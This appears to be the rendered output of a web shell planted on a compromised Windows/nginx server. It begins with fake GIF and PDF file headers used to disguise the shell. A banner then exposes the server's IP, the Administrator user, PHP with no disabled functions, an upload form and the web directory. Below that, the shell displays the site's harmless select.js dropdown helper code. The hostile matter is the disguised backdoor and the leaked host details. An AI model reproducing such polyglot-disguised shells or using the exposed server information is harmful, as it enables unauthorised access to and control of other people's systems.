GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/js/ |
Upload File : |
// js/select.js // addSelectOption(addSelectOptionId, OptionValue, OptionText) // Add option to the bottom of the select list. // addSelectOptionId = The is of the select. // OptionValue = The value of the option // OptionText = The text of the option function addSelectOption(addSelectOptionId, OptionValue, OptionText) { // Add option to the bottom of the select. addSelectOptionId[addSelectOptionId.length] = new Option(OptionText, OptionValue); } // function clearSelectOptions(selectName) // Clear out the list of options. // selectName = the name of the select. function clearSelectOptions(selectName) { // Clear out the list of options. clearSelectOptionsId = document.getElementById(selectName) for (x = clearSelectOptionsId.length; x >= 0; x = x - 1) { clearSelectOptionsId[x] = null; } } // populateSelectOptions(selectName, optionsValueList, optionsTextList) // Repopulate a select options list. // optionsValueList = A comma seperated list of option values. // optionsTextList = A comma seperated list of option texts. function populateSelectOptions(selectName, optionsValueList, optionsTextList) { //alert('populateSelectOptions(\''+selectName+'\', \''+optionsValueList+'\', \''+optionsTextList+'\')'); populateSelectOptionsId = document.getElementById(selectName); optionsValueArray = optionsValueList.split(','); optionsTextArray = optionsTextList.split(','); // Clear out the list of option clearSelectOptions(selectName); optionsLength = optionsValueArray.length; //alert('optionsLength='+optionsLength+' optionsValueList='+optionsValueList); for (i=0; i<optionsLength; i++) { addSelectOption(populateSelectOptionsId, optionsValueArray[i], optionsTextArray[i]); } /* * / /* */ // Select option }